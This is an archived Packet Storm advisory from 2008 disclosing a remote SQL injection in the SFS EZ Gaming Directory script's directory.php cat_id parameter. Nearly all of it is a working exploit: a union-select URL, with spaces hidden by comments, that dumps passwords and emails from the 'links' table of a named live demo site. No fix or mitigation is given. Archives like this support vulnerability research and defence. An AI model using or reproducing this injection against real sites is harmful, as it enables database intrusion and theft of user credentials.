sfsezgaming-sql.txt

2008-10-31T00:00:00
ID PACKETSTORM:71420
Type packetstorm
Reporter Hurley
Modified 2008-10-31T00:00:00

Description

                                        
                                            `==================================================================================  
SFS EZ Gaming Directory (directory.php id) Remote SQL Injection Vulnerability  
==================================================================================  
__ __ __   
/ / / /_ _______/ /__ __ __  
/ /_/ / / / / ___/ / _ \/ / / /  
/ __ / /_/ / / / / __/ /_/ /   
/_/ /_/\__,_/_/ /_/\___/\__, /   
/____/   
==================================================================================  
----------------------------------------------------------------------------------  
Website script: http://www.scripts-for-sites.info/index.php  
----------------------------------------------------------------------------------  
Exploit: http://localHost/gaming/directory.php?ax=list&l=list_by&cat_id=[exploit]  
----------------------------------------------------------------------------------  
LiveDemo:  
http://www.turnkeyzone.com/demos/gaming/directory.php?ax=list&l=list_by&cat_id=1/**/union/**/all/**/select/**/1,2,concat_ws(0x3a,password,email),4,5,6,7,8,9,10,11,12,13/**/from/**/links/*  
----------------------------------------------------------------------------------  
==================================================================================  
Special Thx : Darckc0de  
==================================================================================  
  
  
`